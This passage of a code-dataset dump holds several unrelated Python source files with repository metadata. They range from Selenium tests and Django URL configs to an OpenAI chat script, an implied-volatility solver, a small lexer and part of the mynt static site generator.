'https://demoqa.com/upload-download')\n        upload_download.open()\n\nclass TestDynamicProperties:\n    def test_test_clickable_button(self, driver):\n        test_dynamic_properties_page = DynamicPropertiesPage(driver, 'https://demoqa.com/dynamic-properties')\n        test_dynamic_properties_page.open()\n        assert test_dynamic_properties_page.check_clickable_button() is None or False\n\n    def test_dynamic_properties_color(self, driver):\n        test_dynamic_properties_page = DynamicPropertiesPage(driver, 'https://demoqa.com/dynamic-properties')\n        test_dynamic_properties_page.open()\n        before, after = test_dynamic_properties_page.check_changed_color()\n        assert before != after\n\n    def test_test_dynamic_visible(self, driver):\n        test_dynamic_properties_page = DynamicPropertiesPage(driver, 'https://demoqa.com/dynamic-properties')\n        test_dynamic_properties_page.open()\n        assert test_dynamic_properties_page.check_visible_button() is None or False\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n","repo_name":"zimaev/aqa-selenium","sub_path":"tests/test_elements.py","file_name":"test_elements.py","file_ext":"py","file_size_in_byte":6835,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"8296376958","text":"from type2fuzzy.membership.type1fuzzyset import Type1FuzzySet\n\ndef mom_defuzzify(type1_set):\n    '''\n    Mean of Maxima defuzzification method\n\n    References:\n    -----------\n    Mamdani, E. H., H. J. Efstathiou, and K. Sugiyama. \n    \"Developments in fuzzy logic control.\" Decision and Control, 1984. \n    The 23rd IEEE Conference on. Vol. 23. IEEE, 1984.\n\n    Arguments:\n    ----------\n    type1_set   -- Type1FuzzySet, the set whose centroid is to be computed\n\n    Returns:\n    --------\n    centroid    -- float, the centroid of this set\n\n    Raises:\n    -------\n    '''\n\n    max_domain_elements = []\n    max_dom = 0\n\n    for domain_element in type1_set.domain_elements():\n\n        if type1_set[domain_element] > max_dom:\n            max_dom = type1_set[domain_element]\n            max_domain_elements.clear()\n            max_domain_elements.append(domain_element)\n        elif type1_set[domain_element] == max_dom:\n            max_domain_elements.append(domain_element)\n\n    centroid = sum(max_domain_elements)/len(max_domain_elements)\n\n    return centroid\n","repo_name":"carmelgafa/type2fuzzy","sub_path":"type2fuzzy/type1_defuzzification/mom_defuzzifier.py","file_name":"mom_defuzzifier.py","file_ext":"py","file_size_in_byte":1062,"program_lang":"python","lang":"en","doc_type":"code","stars":7,"dataset":"github-code","pt":"16"}
+{"seq_id":"43722740924","text":"import cv2\nfrom faceModule import faceDetector\n\ncap = cv2.VideoCapture(0)\n\ndetector = faceDetector()\nout = cv2.VideoWriter('output/distance_measure.avi', cv2.VideoWriter_fourcc(*'MPEG'), 7, (640, 480))\nwhile True:\n    ret, frame = cap.read()\n    flip_img = cv2.flip(frame, 1)\n    image = detector.detector(flip_img, draw=False)\n\n    if not ret:\n        break\n\n    out.write(image)    \n    cv2.imshow(\"Distance Measure\", image)\n\n    if cv2.waitKey(10) & 0xFF == ord('q'):\n        break\n\ncap.release()\nout.release()\ncv2.destroyAllWindows()\n\n","repo_name":"shresthadipak/distance-measurement-cvzone","sub_path":"distance-measure.py","file_name":"distance-measure.py","file_ext":"py","file_size_in_byte":539,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"16"}
+{"seq_id":"15211543906","text":"from lt_sdk.graph.transform_graph.node_transformers.generic_transforms import (\n    electronic_op_transform,\n)\nfrom lt_sdk.proto import lgf_pb2\n\n\nclass ConstTransform(electronic_op_transform.ElectronicOpTransform):\n\n    def create_supported_nodes(self,\n                               const_name,\n                               array,\n                               const_type=lgf_pb2.ConstNode.GRAPH_CONST):\n        \"\"\"\n        Creates a supported const node in standard format\n\n        Params:\n            const_name: name of original node\n            array: numpy array\n            const_type: type of the constant\n        \"\"\"\n        return [self.create_const_node(array, const_name, self._get_dtype(), const_type)]\n","repo_name":"HermanYang/SDKDocs","sub_path":"lt_sdk/graph/transform_graph/node_transformers/generic_transforms/const_transform.py","file_name":"const_transform.py","file_ext":"py","file_size_in_byte":719,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"16187965397","text":"from django.urls.conf import path\n\nfrom apps.facturas import views\n\napp_name = 'facturas'\nurlpatterns = [\n    path('ingresoFactura/', views.FacturaProveedorList.as_view(), name=\"ingresoFactura\"),\n    path('ingresoFactura/crear', views.FacturaProveedorCreate.as_view(), name=\"ingresoFactura-crear\"),\n\n    # path('ingresoFactura/crear-formset', views.FacturaProveedorFSCreate.as_view(), name=\"ingresoFactura-crear-formset\"),\n    path('ingresoFactura/crearRapido', views.FacturaProveedorCreateRapido.as_view(),\n         name=\"ingresoFactura-crear-rapido\"),\n    path('ingresoFactura/<int:pk>/editar', views.FacturaProveedorUpdate.as_view(), name=\"ingresoFactura-editar\"),\n    path('ingresoFactura/detalle/<int:pk>', views.FacturaProveedorDetalleView.as_view(), name=\"ingresoFactura-detalle\"),\n    path('ingresoFactura/detalle/crear', views.FacturaProveedorDetalleCreate.as_view(),\n         name=\"ingresoFactura-detalle-crear\"),\n    path('ingresoFactura/detalle/editar', views.FacturaProveedorDetalleUpdate.as_view(),\n         name=\"ingresoFactura-detalle-editar\"),\n    path('ingresoFactura/timbradoProveedor', views.TimbradoProveedorView.as_view(),  # POST\n         name=\"ingresoFactura-timbrado-proveedor\"),\n\n    path('grupoProveedor/', views.GrupoProveedorList.as_view(), name=\"grupo-proveedor\"),\n    path('grupoProveedor/crear', views.GrupoProveedorCreate.as_view(), name=\"grupo-proveedor-crear\"),\n    path('grupoProveedor/<int:pk>/editar', views.GrupoProveedorUpdate.as_view(), name=\"grupo-proveedor-editar\"),\n\n    path('proveedores/', views.ProveedorList.as_view(), name=\"proveedores\"),\n    path('proveedores/crear', views.ProveedorCreate.as_view(), name=\"proveedores-crear\"),\n    path('proveedores/<int:pk>/editar', views.ProveedorUpdate.as_view(), name=\"proveedores-editar\"),\n    path('proveedores/timbrado/<int:pk>', views.TimbradoProveedorView.as_view(), name=\"proveedores-timbrado\"),  # GET\n    path('proveedores/timbrado/crear', views.TimbradoProveedorCreate.as_view(), name=\"proveedores-timbrado-crear\"),\n    path('proveedores/timbrado/editar', views.TimbradoProveedorUpdate.as_view(), name=\"proveedores-timbrado-editar\"),\n\n]\n","repo_name":"fabianpy/facturio","sub_path":"apps/facturas/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":2134,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"25963038126","text":"# Use the file name mbox-short.txt as the file name\nfinal=0\ncount=0\nfname = input(\"Enter file name: \")\nfh = open(fname)\nfor line in fh:\n    if not line.startswith(\"X-DSPAM-Confidence:\") : continue\n    pos=line.find(\":\")\n    data=line[pos+1:]\n    data=data.strip()\n    try:\n        data=float(data)\n    except:\n        print(\"Failed Data Parsing\")\n        exit(1)\n    final=final+data\n    count=count+1\nprint(\"Average spam confidence:\",final/count)\n","repo_name":"themayankjha/PY4E-Coursera","sub_path":"Course 2/Week3/Assignment-7/7.2.py","file_name":"7.2.py","file_ext":"py","file_size_in_byte":448,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"42851848138","text":"# -*- coding: utf-8 -*-\nfrom mangopay.resources import EMoney\nfrom tests.test_base import BaseTestLive\n\n\nclass EMoneyTest(BaseTestLive):\n\n    def test_retrieve_emoney(self):\n        john = self.get_john()\n        emoney = john.get_emoney()\n        self.assertIsNotNone(emoney)\n\n    def test_retrieve_emoney_for_year(self):\n        john = self.get_john()\n        emoney = john.get_emoney(**{'year': 2019})\n        self.assertIsNotNone(emoney)\n\n    def test_retrieve_emoney_for_month(self):\n        john = self.get_john()\n        emoney = john.get_emoney(**{'year': 2019, 'month': 4})\n        self.assertIsNotNone(emoney)\n","repo_name":"plentific/mangopay2-python-sdk","sub_path":"tests/test_emoney.py","file_name":"test_emoney.py","file_ext":"py","file_size_in_byte":620,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"16"}
+{"seq_id":"14698959030","text":"#Write a program which contains one lambda function which accepts two parameters and return its multiplication\r\n#def mult(val1,val2):\r\n    #ans=0\r\n    #ans= val1 * val2\r\n    #return ans\r\n    \r\nmult = lambda a,b : a*b\r\n\r\ndef main():\r\n    print(\"Enetr 1st num:\") \r\n    num1 = int(input())\r\n    \r\n    print(\"Enetr the 2nd num:\")\r\n    num2= int(input())\r\n    \r\n    ret = mult(num1,num2)\r\n    print(\"the multiplication is:\",ret)\r\nif __name__==\"__main__\":\r\n    main()","repo_name":"PrachiBorawake/Python_codes","sub_path":"Assignment 4/Assignment4_2.py","file_name":"Assignment4_2.py","file_ext":"py","file_size_in_byte":461,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"16"}
+{"seq_id":"10250142973","text":"# -*- coding: utf-8 -*-\nfrom __future__ import print_function\nimport re\nfrom Definitions import *\ncurrentline=1\ndef DeNote(data):#预处理，去除注释\n    temp = re.findall('//.*?\\n',data,flags=re.DOTALL)\n    if(len(temp)>0):\n        data=data.replace(temp[0],\"\")\n    temp = re.findall('/\\*.*?\\*/',data,flags=re.DOTALL)\n    if(len(temp)>0):\n        data=data.replace(temp[0],\"\")\n    return data\ndef Scan(line):#经行一次扫描，返回得到的token以及剩余的字符串\n    max=''\n    TargetRegex=regexs[0]\n    subindex=0\n    match=False\n    for regex in regexs:\n        result=re.findall(regex,line,flags=re.DOTALL)\n        if(len(result)>0):\n            result=result[0]\n            index=line.find(result)\n            if(index!=0):\n                continue\n            else:\n                if(len(result)>len(max)):\n                    match=True\n                    max=result\n                    TargetRegex=regex\n    if(match==False):#出错处理\n        print(u\"不认识的字符：\"+line[0])\n        return {\"data\":line[0],\"regex\":\"null\",\"remain\":line[1:]}\n    else:\n        return {\"data\":max,\"regex\":TargetRegex,\"remain\":line[subindex+len(max):]}\ndef ScanLine(line):#对一行进行重复扫描，获得一组token\n    tokens=[]\n    temp = line.strip().strip('\\t')\n    origin=temp\n    while True:\n        if (temp == \"\"):\n            break\n        before=temp\n        temp = Scan(temp)\n        if (temp['regex'] != \"null\"):\n            token = {}\n            token['class'] = \"T\"\n            token['name'] = type[regexs.index(temp['regex'])]\n            if (temp['data'] in Reserved):\n                token['name'] = Reserved[temp['data']]\n            if (temp['data'] in op_table):\n                token['name'] = op_table[temp['data']]\n            token['type'] = temp['data']\n            token['row'] = currentline\n            token['colum'] = origin.find(before)+1\n            if (token['name'] == \"Inum\"):\n                token['type'] = int(token['type'])\n            if (token['name'] == \"Fnum\"):\n                token['type'] = float(token['type'])\n            tokens.append(token)\n        temp = temp['remain'].strip().strip('\\t')\n        if (temp == \"\"):\n            return tokens\n    return tokens\ndef main(path):\n    fd=open(path,'r')\n    lines=DeNote(fd.read()).split('\\n')\n    with open(path,'wb')as f:\n        for line in lines:\n            f.write(line.strip().strip('\\t')+'\\n')\n    tokens=[]\n    for line in lines:\n        temptokens=ScanLine(line)\n        for token in temptokens:\n            tokens.append(token)\n        global currentline\n        currentline+=1\n    return tokens\nif __name__ == \"__main__\":\n for token in(main(\"test.c\")):\n     print(token)","repo_name":"LiuChangFreeman/C--Compiler","sub_path":"SyntaxParser/SLR/LexcialAnalyzer.py","file_name":"LexcialAnalyzer.py","file_ext":"py","file_size_in_byte":2699,"program_lang":"python","lang":"en","doc_type":"code","stars":302,"dataset":"github-code","pt":"16"}
+{"seq_id":"43519753437","text":"from __future__ import absolute_import, print_function\n\nfrom epymc import events\n\n\ndef DBG(msg):\n    # print('INPUT_EVENTS: %s' % msg)\n    pass\n\n\nSTANDARD_EVENTS = \"\"\"\nUP DOWN LEFT RIGHT OK BACK EXIT\nPLAY STOP PAUSE TOGGLE_PAUSE\nFORWARD BACKWARD FAST_FORWARD FAST_BACKWARD\nPLAYLIST_NEXT PLAYLIST_PREV PLAYLIST_CHANGED\nVOLUME_UP VOLUME_DOWN VOLUME_MUTE\nSUBS_DELAY_MORE SUBS_DELAY_LESS SUBS_DELAY_ZERO\nTOGGLE_FULLSCREEN\nVIEW_LIST VIEW_POSTERGRID VIEW_COVERGRID\nBIGGER SMALLER\nTOGGLE_DVD_MENU\n\"\"\"\n\nEVENT_CONTINUE = True\nEVENT_BLOCK = False\n\n_listeners = []\n\n\ndef listener_add(name, event_cb, cb_data=None):\n    global _listeners\n\n    _listeners.append((name, event_cb, cb_data))\n\n    DBG('Listener Add: ' + name)\n    for lis in _listeners:\n        (name, cb, data) = lis\n        DBG('  * ' + name)\n\n\ndef listener_del(name):\n    global _listeners\n\n    DBG('Listener Del: ' + name)\n    for lis in _listeners:\n        (n, cb, data) = lis\n        if n == name:\n            _listeners.remove(lis)\n            return\n\n\ndef listener_promote(name):\n    global _listeners\n\n    DBG('Listener Promote: ' + name)\n    for lis in _listeners:\n        (n, cb, data) = lis\n        if n == name:\n            _listeners.remove(lis)\n            _listeners.append(lis)\n            return\n\n\ndef event_emit(event):\n    DBG('Emit Event: ' + event + '  listeners: ' + str(len(_listeners)))\n\n    events.event_emit('KEEP_ALIVE')\n\n    for lis in reversed(_listeners):\n        (name, cb, data) = lis\n\n        if data:\n            res = cb(event, data)\n        else:\n            res = cb(event)\n\n        # print(\"  ->  '%s' (%s)\" %  (name, ('continue' if res else 'block')))\n\n        if res == EVENT_BLOCK:\n            return\n","repo_name":"DaveMDS/epymc","sub_path":"epymc/input_events.py","file_name":"input_events.py","file_ext":"py","file_size_in_byte":1693,"program_lang":"python","lang":"en","doc_type":"code","stars":31,"dataset":"github-code","pt":"16"}
+{"seq_id":"11818630678","text":"# This iteration of the script connect to open AI api can create a chat with open AI language model.\n# No voice input or output. So Azure API's needed.\n\n\nimport openai\nimport nltk\n\n'''\nMakesure there is a text file in the same folder as this script as \"Keys.txt\" with the following content \nGPT_API_KEY=<your open api key>\n'''\n\nwith open('Keys.txt', 'r') as file:\n    # Read each line in the file\n    for line in file:\n        # Split the line by the equal sign to separate the parameter name from the value\n        parameter_name, parameter_value = line.strip().split('=')\n\n        # Use an if-else statement to assign the value to the appropriate variable\n        if parameter_name.strip() == 'GPT_API_KEY':\n            GPT_Key = parameter_value.strip()\n\n\n# Api Key is taken from a text file.\nopenai.api_key = GPT_Key\nmodel = \"text-davinci-003\"\n\n\n# function to send something to GPT and get a response\ndef getGPTresponse(my_prompt, my_max_tokens):\n    maxtokens = my_max_tokens\n    prompt = my_prompt\n    response = openai.Completion.create(\n        engine=model,\n        prompt=prompt,\n        max_tokens=maxtokens\n    )\n    ai_response = response.choices[0].text.strip()\n    return ai_response\n\n# open and read the file, read past context and close.\n# This file will store the past conversation context summarized, so that the conversation can continue in a meaningful way\n\nf = open('memory.txt', 'r')\ncontext = f.read()\nf.close()\n\n\nwhile True:\n    user_input = input(\"\\nYou: \")\n\n    if user_input != \"\":\n        prompt = f\"{context}\\n\\nYou: {user_input}\\nAI:\"\n        ai_response = getGPTresponse(prompt, 2000)\n\n        context = f\"{prompt}{ai_response}\"\n        print(f\"AI: {ai_response}\")\n\n        tocken_Count = len(nltk.wordpunct_tokenize(context))\n        if tocken_Count > 900: # after 900 tokens the conversation will be summarized to 500 words.\n            prompt = f\"{context}\\n\\n You: This is a dialogue between you(AI) and I. Can you summarise it to 500 words.\\n\"\n            ai_response = getGPTresponse(prompt, 2000)\n            context = f\"{ai_response}\"\n        print(f\"Tocket size on conversation context:{tocken_Count}\")\n        f = open('memory.txt', 'w')\n        # update content\n        f.write(context)\n        # close the file after writing\n        f.close()","repo_name":"AvanthaDS/GPTChatProject","sub_path":"GPT_Chat_Iteration_1.py","file_name":"GPT_Chat_Iteration_1.py","file_ext":"py","file_size_in_byte":2285,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"4391118438","text":"from scipy.stats import norm\nimport mibian\n\nn = norm.pdf\nN = norm.cdf\n\n'''Purely for IV bisection method with Merton Model as it has dividends\n\n    Me([underlyingPrice, strikePrice, interestRate, annualDividends, \\\n\t\t\tdaysToExpiration], volatility=x, callPrice=y, putPrice=z)\n\n\ttarget_value = value of option\n    S = Underlying Price\n    K = Strike\n    r = interest rate\n    q = dividend\n    v = implied volatility\n    daystoexpiry = number of business days to expiration'''\n\n\ndef iv_newton(target_value, call_put, S, K, r, q, daystoexpiry):\n    MAX_ITERATIONS = 50\n    PRECISION = 1.0e-5\n    sigma = 100\n    for i in range(0, MAX_ITERATIONS):\n        price, vega = bs_price(call_put, sigma, S, K, r, q, daystoexpiry)\n        price = price\n        diff = target_value - price  # target value is the market price, price is the option price given the sigma\n        if (abs(diff) < PRECISION):\n            return sigma\n        if vega != 0:\n            sigma = sigma + diff / vega  # f(x) / f'(x)\n        else:\n            return sigma\n    # value wasn't found, return best guess so far\n    return sigma\n\n\ndef bs_price(call_put, v, S, K, r, q, daystoexpiry):\n    opt = mibian.Me([S, K, r, q, daystoexpiry], volatility=v)\n    if call_put == 'call':\n        return opt.callPrice, opt.vega\n    else:\n        return opt.putPrice, opt.vega\n\n\ndef iv_bisection(target_value, call_put, S, K, r, q, daystoexpiry):\n    if call_put == 'call':\n        opt = mibian.Me([S, K, r, q, daystoexpiry], callPrice=target_value)\n    else:\n        opt = mibian.Me([S, K, r, q, daystoexpiry], putPrice=target_value)\n    return opt.impliedVolatility\n\n\ndef iv_solver(target_value, call_put, S, K, r, q, daystoexpiry):\n    # print([target_value, call_put, S, K, r, q, daystoexpiry])\n    moneyness = K / S\n    threshold = 1.0e-5\n    try:\n        newton = iv_newton(target_value, call_put, S, K, r, q, daystoexpiry)\n        new_opt_error = abs(target_value - bs_price(call_put, newton, S, K, r, q, daystoexpiry)[0])\n    except:\n        newton = 0\n        new_opt_error = abs(target_value)\n    if new_opt_error < threshold:\n        return newton\n    elif 0.89 < moneyness < 1.11:\n        try:\n            bisect = iv_bisection(target_value, call_put, S, K, r, q, daystoexpiry)\n            bis_opt_error = abs(target_value - bs_price(call_put, bisect, S, K, r, q, daystoexpiry)[0])\n        except:\n            bisect = 0\n            bis_opt_error = abs(target_value)\n        if bis_opt_error < new_opt_error:\n            return bisect\n        else:\n            return newton\n    else:\n        return 0\n\n# print(iv_solver(22.25, 'put', 156.79, 180.0, 0.01, 0.0, 7))\n","repo_name":"djiang333/Options","sub_path":"IV_solver.py","file_name":"IV_solver.py","file_ext":"py","file_size_in_byte":2632,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"36859555721","text":"from django.contrib import admin\nfrom terrarium.models import Terrarium, Heater, TerrariumLog\n\n\nclass HeaterInline(admin.StackedInline):\n    model = Heater\n\n\nclass FoggerInline(admin.StackedInline):\n    model = Heater\n\n\nclass TerrariumAdmin(admin.ModelAdmin):\n    fields = ['title']\n    inlines = [HeaterInline, FoggerInline]\n\n\nclass TerrariumLogAdmin(admin.ModelAdmin):\n    fields = ['time', 'i2cDevice', 'temperature', 'humidity']\n\nadmin.site.register(Terrarium, TerrariumAdmin)\nadmin.site.register(TerrariumLog, TerrariumLogAdmin)\n","repo_name":"bangoperator/karnipi","sub_path":"terrarium/admin.py","file_name":"admin.py","file_ext":"py","file_size_in_byte":534,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"15619272678","text":"# -*- coding: utf-8 -*-\n\nfrom argparse import ArgumentParser\nfrom copy import deepcopy\nfrom glob import iglob\nfrom itertools import product\nimport locale\nimport logging\nfrom os import chdir, getcwd, path as op\nimport re\nfrom time import sleep\n\nfrom pkg_resources import resource_filename\nfrom watchdog.observers import Observer\n\nfrom mynt import __version__\nfrom mynt.containers import Configuration\nfrom mynt.exceptions import ConfigurationException, OptionException\nfrom mynt.fs import Directory, EventHandler, File\nfrom mynt.processors import Reader, Writer\nfrom mynt.server import RequestHandler, Server\nfrom mynt.utils import get_logger, normpath, Timer, URL\n\n\nlogger = get_logger('mynt')\n\n\nclass Mynt:\n    defaults = {\n        'archive_layout': None,\n        'archives_url': '/',\n        'assets_url': '/assets/',\n        'base_url': '/',\n        'containers': {},\n        'date_format': '%A, %B %d, %Y',\n        'domain': None,\n        'include': [],\n        'locale': None,\n        'posts_order': 'desc',\n        'posts_sort': 'timestamp',\n        'posts_url': '/<year>/<month>/<day>/<slug>/',\n        'pygmentize': True,\n        'renderer': 'jinja',\n        'tag_layout': None,\n        'tags_url': '/',\n        'version': __version__}\n\n    container_defaults = {\n        'archive_layout': None,\n        'archives_url': '/',\n        'order': 'desc',\n        'sort': 'timestamp',\n        'tag_layout': None,\n        'tags_url': '/'}\n\n\n    def __init__(self, args=None):\n        self._reader = None\n        self._writer = None\n\n        self.configuration = None\n        self.posts = None\n        self.containers = None\n        self.data = {}\n        self.pages = None\n\n        self.options = self._get_options(args)\n\n        logger.setLevel(getattr(\n            logging, self.options['log_level'], logging.INFO))\n\n        self.options['command']()\n\n\n    def _generate(self):\n        self._initialize()\n        self._parse()\n        self._render()\n\n        logger.info('>> Generating')\n\n        assets_source = Directory(normpath(self.source.path, '_assets'))\n        assets_destination = self.configuration['assets_url'].split('/')\n        assets_destination = Directory(normpath(\n            self.destination.path, *assets_destination))\n\n        if self.destination.exists:\n            if self.options['force']:\n                self.destination.empty()\n            else:\n                self.destination.rm()\n        else:\n            self.destination.mk()\n\n        for page in self.pages:\n            page.mk()\n\n        assets_source.cp(assets_destination.path)\n\n        for pattern in self.configuration['include']:\n            for path in iglob(normpath(self.source.path, pattern)):\n                destination = path.replace(\n                    self.source.path, self.destination.path)\n\n                if op.isdir(path):\n                    Directory(path).cp(destination, False)\n                elif op.isfile(path):\n                    File(path).cp(destination)\n\n    def _get_options(self, args):\n        parser = ArgumentParser(\n            description='A static site generator.')\n        subparsers = parser.add_subparsers()\n\n        parser.add_argument('-V', '--version',\n            action='version', version='%(prog)s v{0}'.format(__version__),\n            help=\"Prints %(prog)s's version and exits\")\n\n        log_level = parser.add_mutually_exclusive_group()\n        log_level.add_argument('-l', '--log-level',\n            default='INFO', type=str.upper,\n            choices=['DEBUG', 'INFO', 'WARNING', 'ERROR'],\n            help=\"Sets %(prog)s's log level\")\n        log_level.add_argument('-q', '--quiet',\n            action='store_const', const='ERROR', dest='log_level',\n            help=\"Sets %(prog)s's log level to ERROR\")\n        log_level.add_argument('-v', '--verbose',\n            action='store_const', const='DEBUG', dest='log_level',\n            help=\"Sets %(prog)s's log level to DEBUG\")\n\n        generate = subparsers.add_parser('generate',\n            aliases=['gen', 'g'],\n            help='Generates a static website')\n        generate.add_argument('--base-url',\n            default=self.defaults['base_url'],\n            help='Overrides the base URL configuration option')\n        generate.add_argument('--locale',\n            default=self.defaults['locale'],\n            help='Sets the renderer locale')\n        generate.add_argument('source',\n            nargs='?', default='.',\n            help='Location of the %(prog)s website')\n        generate.add_argument('destination',\n            help='Location to output the generated static website')\n        generate.set_defaults(command=self.generate)\n\n        force=generate.add_mutually_exclusive_group()\n        force.add_argument('-d', '--delete',\n            action='store_true',\n            help='Forces generation by DELETING the destination directory')\n        force.add_argument('-f', '--force',\n            action='store_true',\n            help='Forces generation by EMPTYING the destination directory')\n\n        initialize=subparsers.add_parser('initialize',\n            aliases=['init', 'i'],\n            help='Creates a new %(prog)s website')\n        initialize.add_argument('--bare',\n            action='store_true',\n            help='Creates a new %(prog)s website without a theme')\n        initialize.add_argument('-d', '--delete',\n            action='store_true',\n            help='Forces creation by DELETING the destination directory')\n        initialize.add_argument('-t', '--theme',\n            default='dark',\n            help='Sets the %(prog)s website theme')\n        initialize.add_argument('destination',\n            help='Location to output the %(prog)s website')\n        initialize.set_defaults(command=self.initialize)\n\n        serve=subparsers.add_parser('serve',\n            aliases=['s'],\n            help='Starts a local server to host the static website')\n        serve.add_argument('--base-url',\n            default=self.defaults['base_url'],\n            help='Overrides the base URL configuration option')\n        serve.add_argument('-p', '--port',\n            default=8080, type=int,\n            help='Sets the port the server will listen on')\n        serve.add_argument('source',\n            nargs='?', default='.',\n            help='Location of the static website')\n        serve.set_defaults(command=self.serve)\n\n        watch=subparsers.add_parser('watch',\n            aliases=['w'],\n            help='Regenerates a %(prog)s website when changes occur')\n        watch.add_argument('--base-url',\n            default=self.defaults['base_url'],\n            help='Overrides the base URL configuration option')\n        watch.add_argument('-f', '--force',\n            action='store_true',\n            help='Forces watching by EMPTYING the destination directory')\n        watch.add_argument('--locale',\n            default=self.defaults['locale'],\n            help='Sets the renderer locale')\n        watch.add_argument('source',\n            nargs='?', default='.',\n            help='Location of the %(prog)s website')\n        watch.add_argument('destination',\n            help='Location to output the generated static website')\n        watch.set_defaults(command=self.watch)\n\n        options = {}\n        for name, value in vars(parser.parse_args(args)).items():\n            if value is None:\n                continue\n\n            options[name] = value\n\n        if 'command' not in options:\n            raise OptionException(\n                'Unknown command or option',\n                parser.format_usage())\n\n        return options\n\n    def _get_theme(self, theme):\n        return resource_filename(__name__, 'themes/{0}'.format(theme))\n\n    def _initialize(self):\n        logger.debug('>> Initializing')\n        logger.debug('..  source: %s', self.source.path)\n        logger.debug('..  destination: %s', self.destination.path)\n\n        self._update_configuration()\n\n        if self.configuration['locale']:\n            try:\n                locale.setlocale(locale.LC_ALL,\n                    (self.configuration['locale'], 'utf-8'))\n            except locale.Error:\n                raise ConfigurationException(\n                    'Locale not available',\n                    'run `locale -a` to see available locales')\n\n        self.writer.register({'site': self.configuration})\n\n    def _parse(self):\n        logger.info('>> Parsing')\n\n        self.posts, self.containers, self.pages = self.reader.parse()\n\n        self.data['posts'] = self.posts.data\n        self.data['containers'] = {}\n\n        for name, container in self.containers.items():\n            self.data['containers'][name] = container.data\n\n    def _regenerate(self):\n        self._reader = None\n        self._writer = None\n\n        self.configuration = None\n        self.posts = None\n        self.containers = None\n        self.data.clear()\n        self.pages = None\n\n        self._generate()\n\n    def _render(self):\n        logger.info('>> Rendering')\n\n        self.writer.register(self.data)\n\n        for i, page in enumerate(self.pages):\n            self.pages[i] = self.writer.render(*page)\n\n    def _update_configuration(self):\n        self.configuration = deepcopy(self.defaults)\n\n        logger.info('>> Searching for configuration file')\n\n        for configuration in product(('mynt', 'config'), ('.yml', '.yaml')):\n            configuration = ''.join(configuration)\n            configuration = File(normpath(self.source.path, configuration))\n            if not configuration.exists:\n                continue\n\n            logger.debug('..  found: %s', configuration.path)\n\n            if configuration.name == 'config':\n                logger.warn('@@ Deprecated configuration file found')\n                logger.warn('..  rename config.yml to mynt.yml')\n\n            break\n        else:\n            logger.debug('..  no configuration file found')\n\n            return\n\n        try:\n            self.configuration.update(Configuration(configuration.content))\n        except ConfigurationException as error:\n            raise ConfigurationException(error.message,\n                'source: {0}'.format(configuration.path))\n\n        domain = self.configuration['domain']\n        if domain and not domain.startswith(('https://', 'http://', '//')):\n            logger.warn('@@ Configuration setting `domain` missing protocol')\n            logger.warn('..  defaulting to `https`')\n\n            self.configuration['domain'] = 'https://{0}'.format(domain)\n\n        self.configuration['base_url'] = self.options.get('base_url')\n        self.configuration['locale'] = self.options.get('locale')\n\n        options = (\n            'archives_url',\n            'assets_url',\n            'base_url',\n            'posts_url',\n            'tags_url')\n\n        for option in options:\n            url = URL.join(self.configuration[option], '')\n            if re.search(r'(?:^\\.{2}/|/\\.{2}$|/\\.{2}/)', url):\n                raise ConfigurationException(\n                    'Invalid configuration option',\n                    'option: {0}'.format(self.configuration[option]),\n                    'path traversal is not allowed')\n\n        containers_source = normpath(self.source.path, '_containers')\n\n        for name, options in self.configuration['containers'].items():\n            prefix = op.commonprefix((\n                containers_source, normpath(containers_source, name)))\n            if prefix != containers_source:\n                raise ConfigurationException(\n                    'Invalid configuration option',\n                    'setting: containers:{0}'.format(name),\n                    'container name contains illegal characters')\n\n            try:\n                url = URL.join(options['url'])\n            except KeyError:\n                raise ConfigurationException(\n                    'Invalid configuration option',\n                    'setting: containers:{0}'.format(name),\n                    'url must be set for all containers')\n\n            if re.search(r'(?:^\\.{2}/|/\\.{2}$|/\\.{2}/)', url):\n                raise ConfigurationException(\n                    'Invalid configuration option',\n                    'setting: containers:{0}:url'.format(name),\n                    'path traversal is not allowed')\n\n            for name, value in self.container_defaults.items():\n                if name not in options:\n                    options[name] = value\n\n            options['url'] = url\n\n        for pattern in self.configuration['include']:\n            prefix = op.commonprefix((\n                self.source.path, normpath(self.source.path, pattern)))\n            if prefix != self.source.path:\n                raise ConfigurationException(\n                    'Invalid include path',\n                    'path: {0}'.format(pattern),\n                    'path traversal is not allowed')\n\n\n    def generate(self):\n        Timer.start()\n\n        self.source = Directory(self.options['source'])\n        self.destination = Directory(self.options['destination'])\n\n        if not self.source.exists:\n            raise OptionException('Source must exist')\n        elif self.source == self.destination:\n            raise OptionException(\n                'Source and destination must be different locations')\n        elif self.destination.exists:\n            if not (self.options['delete'] or self.options['force']):\n                raise OptionException(\n                    'Destination already exists',\n                    'to force generation, use one of the following flags',\n                    '  `-d` to DELETE the destination',\n                    '  `-f` to EMPTY the destination')\n\n        self._generate()\n\n        logger.info('Completed in %.3fs', Timer.stop())\n\n    def initialize(self):\n        Timer.start()\n\n        self.source = Directory(self._get_theme(self.options['theme']))\n        self.destination = Directory(self.options['destination'])\n\n        if not self.source.exists:\n            raise OptionException('Theme not found')\n        elif self.destination.exists and not self.options['delete']:\n            raise OptionException(\n                'Destination already exists',\n                'to force initialization, use the following flag',\n                '  `-d` to DELETE the destination')\n\n        logger.info('>> Initializing')\n\n        if self.options['bare']:\n            self.destination.rm()\n\n            directories = (\n                '_assets/css',\n                '_assets/images',\n                '_assets/js',\n                '_templates',\n                '_posts')\n\n            for d in directories:\n                Directory(normpath(self.destination.path, d)).mk()\n\n            File(normpath(self.destination.path, 'mynt.yml')).mk()\n        else:\n            self.source.cp(self.destination.path, False)\n\n        logger.info('Completed in 